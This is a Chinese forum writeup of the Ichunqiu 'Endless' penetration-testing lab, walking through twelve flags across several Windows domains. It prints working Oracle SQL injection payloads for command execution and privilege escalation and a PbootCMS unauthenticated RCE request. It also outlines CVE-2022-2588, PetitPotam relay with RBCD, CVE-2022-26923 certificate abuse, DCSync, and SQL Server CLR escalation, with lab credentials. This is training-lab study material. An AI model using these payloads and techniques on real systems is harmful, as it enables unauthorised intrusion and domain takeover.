首页
社区
课程
招聘
[原创]Ichunqiu云境 —— Endless(无间计划) Writeup
2023-3-21 13:44 8680

[原创]Ichunqiu云境 —— Endless(无间计划) Writeup

2023-3-21 13:44
8680

Ichunqiu云境 —— Endless(无间计划) Writeup

Author:小离-xiaoli

0x00 Intro

前言:

  • 两个入口点,一个入口点是pboot-cms,另外一个是SQL注入
  • 这边入口外网IP可能会有不一致得地方,因为靶场重启次数比较多,IP经常变化
  • OSCP风格,不使用CS/MSF
  • 这个靶场共有12个Flag

0x01 Recon

扫描结果:

  1. 入口点1 - SQL注入 (Linux):

  2. 入口点2 - Pboot-CMS (Linux):

0x02 入口点1 - SQL注入 (Linux)

前言:

  • 一个站库分离的oracle注入,web是linux,注入点可以通过oracle注入发现到是一个windows,权限非dba,只有java runtime permission,这里没截图
  • 这里前几次都没打成功,卡了挺久,后面搭建了个oracle和九世一起测试的
  • 不建议用SqlMap,会把站打挂,并且可以看源码发现sqlmap提权函数没有定义关于oracle数据库的攻击方法
  • Oracle 版本 Oracle Database 11g Enterprise Edition Release 11.2.0.1.0
  1. 直接上payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
1.. 创建JAVA Source
 
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual)>1 --
 
 
2.提权
 
 
admin' AND (SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin sys.dbms_cdc_publish.create_change_set('''' a'''',''''a'''',''''a''''''''||TEST.pwn()||''''''''a'''',''''Y'''',s ysdate,sysdate);end;''; commit; end;') from dual)>1--
 
 
3.创建函数
 
 
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LINXRUNCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual)>1--
 
 
4.查询创建的函数
 
 
admin' union select null,(select object_name from all_objects where object_name ='LINXRUNCMD' and rownum=1),null from dual--
 
 
5.查询java source
 
 
admin' union select null,(select object_name from all_objects where object_name ='LinxUtil'),null from dual--
 
 
6.命令执行
 
 
admin' union select null,(select LINXRUNCMD('whoami') from dual),null from dual--
  1. 函数LINXRUNCMD创建成功

  2. whoami,直接是system权限了

  3. ipconfig,该数据库内网IP为 172.23.4.51,此时需要回到入口点2进入内网了

0x03 入口点2 - Pboot-CMS (Linux) - Flag 1

前言:

  • 西湖论剑CTF的题目,有WAF,考你怎么绕过pboot cms的disable function,这里用的是大哥的payloadhttps://guokeya.github.io/post/WscncUrcS/
  1. Payload(未授权RCE):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    GET /?a=}{pboot{user:password}:if(("sys\x74em")("whoami"));//)}xxx{/pboot{user:password}:if} HTTP/1.1
    Host: 39.98.94.70:80
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://39.98.94.70/admin.php
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: lg=cn; PbootSystem=h6o5ta1btl6o32bi184ula183l
    Connection: close
    Content-Length: 0
  2. PrivESC to root with CVE-2022-2588(这里用不了pwnkit,pkexec玄学)

  3. 入口IP 172.23.4.32

  4. Flag 1

0x05 Target: 172.23.4.51 - Flag 2

  1. 通过上面的入口点搭建代理,横向回到上面打下的oracle数据库 172.23.4.51,获取到Flag 2

0x04 Target: 172.23.4.12 - Flag 3

  1. 172.23.4.51 的Desktop 有个Usera的凭据

    1
    2
    username: usera@pentest.com
    password:Admin3gv83

  2. 挂个代理,CME扫一扫

  3. 这里忘记截图了,usera对4.12能RDP,RDP上去就可以了

  • 提权方法1:krbrelayup直接提权
  • 提权方法2:usera对该机器有writedacl,能rbcd提权到system
  1. 横向上去后,发现C:\users\usera\目录下有.ssh目录,里面有一个私钥(私钥没截到图),known_hosts看到有个IP 172.23.4.19

  2. Flag 3

0x05 Target: 172.23.4.19 (172.24.7.16) - Flag 4

  1. 使用在172.23.4.12获取到的私钥登录进入172.23.4.19,回到了上面入口点1的web服务器,获取到root权限

  2. Flag 4

0x06 突破内网隔离处-1 - No Flag

  • 172.23.4.12 - 双网卡 - 172.24.7.16

0x07 Target: 172.24.7.48 (绕路) - Flag 5

前言:

  • 这里会绕路,是靶场设计思路的问题,我一开始也没想到能直接用CVE-2022-26923打下来,后面在这台机器上实在翻不到东西了,才用了CVE-2022-26923
  • 后续和作者沟通了,作者原先是希望说从通过下述操作拿下机器后,找到一张管理员的证书,用证书直接打到域控,但是作者可能觉得太简单了,后面把证书删除了,后面复盘的时候作者说就是用 CVE-2022-26923 打下来
  • 个人建议的话,可以在这台机器上弄一些信息泄露的点,用泄露的凭据改ESC1之类的,如果要增加难度的话,可以考虑把智能卡攻击也弄上
  1. 使用凭据usera扫描一下172.24.7.0/24,调用petitpotam

  2. 这里IP和主机名有点乱,我们备注一下

    1
    2
    3
    4
    5
    172.24.7.5 DCadmin.pen.me (当前不在我们的范围内)
    172.24.7.48 IZAYSXE6VCUHB4Z.pentest.me (在范围内,未拿下)
    172.24.7.16 IZMN9U6ZO3VTRNZ.pentest.me (在范围内,已经拿下)
    172.24.7.3 DC.pentest.me (在范围内,未拿下)
    172.24.7.43 IZMN9U6ZO3VTRPZ.pentest.me (在范围内,未拿下)
  3. 扫一扫webclient服务,确定172.24.7.48能打下了

  4. 难点在于你现在处于第二层网段,也好解决

  • 端口转发链如下
    1
    172.24.7.16:80(双网卡,通172.23.4.0/24---forward--- 172.23.4.19:81(SSH) ---forward--- localhost:79 ---forward--- kali:8001
  • SSH端口转发监听127.0.0.1的问题可以看回我之前的文章:IChunQiu-spoofing
  1. 端口转发准备:

172.23.4.19

 

172.24.7.16(也是IP 172.23.4.12)

  1. 启用ntlmrelayx.py,这里的escalate-user写的是172.24.7.16的主机名,截图是已经用petitpotam触发回连了,可以看到是已经完成了rbcd攻击了

  2. petitpotam触发webclient实现中继

  3. Flag 5

0x08 Target: 172.24.7.3 - Flag 6

  1. 域控装了ADCS(直接SMB看域控共享就懂了)

  2. 提示ESC8

  3. 但是,经过复杂的操作 (停445+端口转发),却和我说ADCS关了ntlm认证

  4. 后面实在找不到东西了,直接CVE-2022-26923冲死,使用一个有效域凭据(普通权限)创建机器账户

  5. CVE-2022-26923生成一张域控的证书

  6. 还原NTLM出来(这里忘记截图,只能用帮助文档了)

  7. Dcsync

  8. 远程上172.24.7.3就能获得Flag 6了,这里忘记截图了

  9. 然后就顺便扫一扫看看有没有其他网卡

0x09 突破内网隔离处-2 - No Flag

  • 172.24.7.3 - 双网卡 - 172.25.12.9

0x10 Target: 172.25.12.7 - Flag 7

前言:

  • 这里原先是用sid history进行跨域攻击,但是靶场环境有问题,作者也排查了很多次,确认环境有问题,sid history始终没打成功(没有开启sid过滤),然后作者才选择更换攻击路径
  1. DCadmin 这台机器也是双网卡(172.24.7.5 和 172.25.12.7),不知道为什么上面的探测没扫出来

  2. 到这里,我们更新一下笔记

1
2
3
4
5
6
7
8
9
10
11
pen.me
    172.25.12.7 (172.24.7.5) DCadmin.pen.me (在范围内,还没拿下)
    172.25.12.19 IZ1TUCEKFDPCEMZ.pen.me (在范围内,还没拿下)
    172.25.12.29 IZ88QYK8Y8Y3VXZ.pen.me (在范围内,还没拿下)
 
pentest.me
    172.25.12.9 (172.24.7.3) DC.pentest.me (在范围内,已经拿下)
    172.24.7.48 IZAYSXE6VCUHB4Z.pentest.me (在范围内,已经拿下)
    172.24.7.16 IZMN9U6ZO3VTRNZ.pentest.me (在范围内,已经拿下)
    172.24.7.3 DC.pentest.me (在范围内,已经拿下)
    172.24.7.43 IZMN9U6ZO3VTRPZ.pentest.me (在范围内,有管理员凭据,还没登录上去)
  1. Bloodhound看看是什么关系,可以看到,Administrator\@pentest.me 是 dcadmin.pen.me的管理员

  2. 这里也是有些奇怪,作者是可以直接横向过去的

  • 嘿,轮到我就不行(不知道是什么原因,我psexec也没成功)
    ![[0aa4aa00a7fe78f9737c772e5d3c2a0.png]]
  1. 干脆就RBCD了,我也不纠结 (RBCD过程省略)

  2. Flag 7

  3. DCSync过程略

0x11 Target: 172.25.12.19 - Flag 8

  1. 用上面DCSync获取到的域管理员凭据直接横向就可以获取到 Flag 8 了

0x12 Target: 172.25.12.29 - Flag 9

  1. 用上面DCSync获取到的域管理员凭据直接横向就可以获取到 Flag 9 了

0x13 Target: 172.25.12.19 (Exchange) - Flag 10

  1. 看看这台机器的SPN,就知道172.25.12.19上面跑着Exchange了

  2. 在域内你可以快速过滤homeMDB这个attribute,就知道用户有没有登录过邮服了,以下这个Exchange用户是我们要看的

  3. 使用Exchange用户登录进入OWA,就可以获取到Flag 10 了

0x14 Target: 172.24.7.43 (172.26.8.12) - Flag 11

  1. 用上面在pentest.me里面DCSync获取到的管理员凭据直接横向过去172.24.7.43即可获取到Flag11 了

0x15 突破内网隔离处-3 - No Flag

  • 172.24.7.43 - 双网卡 - 172.26.8.12

0x16 Target: 172.24.7.27 & 172.24.7.23 - No Flag

  1. 我们回到 172.24.7.0/24,内网扫描 172.24.7.0/24发现有两个web服务,一个confluence和一个gitlab,对应url如下
1
2
confluence: 172.24.7.27:8090
gitlab: 172.24.7.23
  1. 使用上面获取到的usera凭据直接登录进入confluence,可以发现有两个xlsx列表,用最新的即可

  2. 无间实验室人员名单.xlsx

  3. 在dc.pentest.me批量跑一下ldap,发现都是有效凭据,这里随便一个域用户都能登录进入gitlab,但是都没项目(登录gitlab的图忘记截图了)

  4. 可以用在ldap筛选出有效用户(毕竟是ldap认证,当然你用kerbrute枚举也可以),然后配合利用git命令批量枚举,你能发现用户luizhuo有一个私人项目叫 Financial system-demo

  5. 有一个SQL Server的凭据,但是IP是127.0.0.1

  6. 找找commit历史,发现一个ip 172.26.8.16

  7. 凭据记录

1
2
3
IP: 172.26.8.16
username: sa
password: sqlserver_2022

\

  1. 后续复盘和作者交流过,gitlab不能直接拿下,但是最新的exp我没测试,有兴趣的大哥可以测试一下

0x17 Target: 172.26.8.16 - Flag 12

  1. 因为 172.24.7.43 这台机器通往 172.26.8.0/24网段,我们在 gitlab 172.24.7.23 刚好获取到过一个 SQL Server的凭据

    1
    2
    3
    IP: 172.26.8.16
    username: sa
    password: sqlserver_2022
  2. 在这台机器上搞个代理,直接连接,然后一把梭(这里用的项目是https://github.com/Ridter/PySQLTools)

  3. 服务账户权限

  4. CLR提权

  5. 直接改个管理员密码

  6. Flag 12

0x18 Attack Graph

0x19 Outro

  • 感谢九世大哥的协作帮忙,入口点帮助了很多,oracle注入那看到头秃了
  • 感谢作者满秋和WHOAMI的帮助
  • 靶场在做的过程中,发现了不少的BUG,但是作者都很热心的修补了BUG,期间还退还了沙子
  • 做起来和你打攻防项目一样坐牢

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回